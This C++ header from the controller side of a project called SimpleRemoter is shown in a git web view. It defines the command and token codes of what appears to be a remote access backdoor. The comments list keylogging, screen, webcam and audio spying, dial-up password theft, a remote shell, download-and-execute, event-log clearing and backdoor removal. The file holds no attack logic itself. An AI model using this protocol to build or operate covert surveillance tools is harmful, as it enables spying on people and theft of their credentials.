Files
SimpleRemoter/server/2015Remote/stdafx.h
2019-01-20 20:04:11 +08:00

252 lines
7.8 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
#pragma once
// 是否使用ZLIB
#define USING_ZLIB 1
#if !USING_ZLIB
// 是否使用LZ4
#define USING_LZ4 1
#endif
#ifndef _SECURE_ATL
#define _SECURE_ATL 1
#endif
#ifndef VC_EXTRALEAN
#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料
#endif
// 移除对话框中MFC控件的支持减小静态编译程序的大小
#define _AFX_NO_MFC_CONTROLS_IN_DIALOGS
// 关闭对话框时删除对话框
#define CLOSE_DELETE_DLG 0
// 检测内存泄漏需安装VLD否则请注释此行
#include "vld.h"
#include "targetver.h"
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏
#define _AFX_ALL_WARNINGS
#include <afxwin.h> // MFC 核心组件和标准组件
#include <afxext.h> // MFC 扩展
#include <afxdisp.h> // MFC 自动化类
#ifndef _AFX_NO_OLE_SUPPORT
#include <afxdtctl.h> // MFC 对 Internet Explorer 4 公共控件的支持
#endif
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC 对 Windows 公共控件的支持
#endif // _AFX_NO_AFXCMN_SUPPORT
#include <afxcontrolbars.h> // 功能区和控件条的 MFC 支持
enum
{
// 文件传输方式
TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消
TRANSFER_MODE_ADDITION, // 追加
TRANSFER_MODE_ADDITION_ALL, // 全部追加
TRANSFER_MODE_OVERWRITE, // 覆盖
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
TRANSFER_MODE_JUMP, // 覆盖
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
TRANSFER_MODE_CANCEL, // 取消传送
// 控制端发出的命令
COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作
COMMAND_LIST_DRIVE, // 列出磁盘目录
COMMAND_LIST_FILES, // 列出目录中的文件
COMMAND_DOWN_FILES, // 下载文件
COMMAND_FILE_SIZE, // 上传时的文件大小
COMMAND_FILE_DATA, // 上传时的文件数据
COMMAND_EXCEPTION, // 传输发生异常,需要重新传输
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
COMMAND_STOP, // 传输中止
COMMAND_DELETE_FILE, // 删除文件
COMMAND_DELETE_DIRECTORY, // 删除目录
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
COMMAND_CREATE_FOLDER, // 创建文件夹
COMMAND_RENAME_FILE, // 文件或文件改名
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
COMMAND_SCREEN_SPY, // 屏幕查看
COMMAND_SCREEN_RESET, // 改变屏幕深度
COMMAND_ALGORITHM_RESET, // 改变算法
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // 屏幕控制
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
COMMAND_SCREEN_BLANK, // 服务端黑屏
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
COMMAND_WEBCAM, // 摄像头
COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩
COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式
COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率后面跟两个INT型的宽高
COMMAND_NEXT, // 下一步(控制端已经打开对话框)
COMMAND_KEYBOARD, // 键盘记录
COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
COMMAND_AUDIO, // 语音监听
COMMAND_SYSTEM, // 系统管理(进程,窗口....
COMMAND_PSLIST, // 进程列表
COMMAND_WSLIST, // 窗口列表
COMMAND_DIALUPASS, // 拨号密码
COMMAND_KILLPROCESS, // 关闭进程
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载)
COMMAND_REMOVE, // 卸载后门
COMMAND_DOWN_EXEC, // 其它功能 - 下载执行
COMMAND_UPDATE_SERVER, // 其它功能 - 下载更新
COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志
COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
COMMAND_RENAME_REMARK, // 重命名备注
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
COMMAND_SERVICES, // 服务管理
COMMAND_REGEDIT,
COMMAND_TALK, // 即时消息验证
// 服务端发出的标识
TOKEN_AUTH = 100, // 要求验证
TOKEN_HEARTBEAT, // 心跳包
TOKEN_LOGIN, // 上线包
TOKEN_DRIVE_LIST, // 驱动器列表
TOKEN_FILE_LIST, // 文件列表
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
TOKEN_FILE_DATA, // 文件数据
TOKEN_TRANSFER_FINISH, // 传输完毕
TOKEN_DELETE_FINISH, // 删除完毕
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
TOKEN_DATA_CONTINUE, // 继续传输数据
TOKEN_RENAME_FINISH, // 改名操作完成
TOKEN_EXCEPTION, // 操作发生异常
TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
TOKEN_AUDIO_START, // 开始语音监听
TOKEN_AUDIO_DATA, // 语音监听数据
TOKEN_KEYBOARD_START, // 键盘记录开始
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
TOKEN_PSLIST, // 进程列表
TOKEN_WSLIST, // 窗口列表
TOKEN_DIALUPASS, // 拨号密码
TOKEN_SHELL_START, // 远程终端开始
TOKEN_SERVERLIST, // 服务列表
COMMAND_SERVICELIST, // 刷新服务列表
COMMAND_SERVICECONFIG, // 服务端发出的标识
TOKEN_TALK_START, // 即时消息开始
TOKEN_TALKCMPLT, // 即时消息可重发
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, //注册表 管理标识
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE
};
#define WM_USERTOONLINELIST WM_USER + 3000
#define WM_OPENSCREENSPYDIALOG WM_USER + 3001
#define WM_OPENFILEMANAGERDIALOG WM_USER + 3002
#define WM_OPENTALKDIALOG WM_USER+3003
#define WM_OPENSHELLDIALOG WM_USER+3004
#define WM_OPENSYSTEMDIALOG WM_USER+3005
#define WM_OPENAUDIODIALOG WM_USER+3006
#define WM_OPENSERVICESDIALOG WM_USER+3007
#define WM_OPENREGISTERDIALOG WM_USER+3008
#define WM_OPENWEBCAMDIALOG WM_USER+3009
#define WM_USEROFFLINEMSG WM_USER+3010
enum
{
FILEMANAGER_DLG = 1,
SCREENSPY_DLG,
VIDEO_DLG,
AUDIO_DLG,
KEYBOARD_DLG,
SYSTEM_DLG,
SHELL_DLG,
SERVICES_DLG,
REGISTER_DLG,
TALK_DLG,
MONITOR_DLG
};
#ifdef _UNICODE
#if defined _M_IX86
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
#elif defined _M_X64
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
#else
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
#endif
#endif
#include <assert.h>
#include <MMSystem.h>
#pragma comment(lib, "winmm.lib")
// 高精度的睡眠函数
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
// 以步长n毫秒在条件C下等待T秒(n是步长必须能整除1000)
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
// 在条件C成立时等待T秒(步长10ms)
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
// 在条件C成立时等待T秒(步长1ms)
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
// 智能计时器,计算函数的耗时
class auto_tick
{
private:
const char *func;
int threshold;
clock_t tick;
__inline clock_t now() const { return clock(); }
public:
auto_tick(const char *func_name, int th=5) : func(func_name), threshold(th), tick(now()) { }
~auto_tick(){int s(this->time());if(s>threshold)TRACE("[%s]执行时间: [%d]ms.\n", func, s);}
__inline int time() const { return now() - tick; }
};
#ifdef _DEBUG
// 智能计算当前函数的耗时,超时会打印
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
#else
#define AUTO_TICK(thresh)
#endif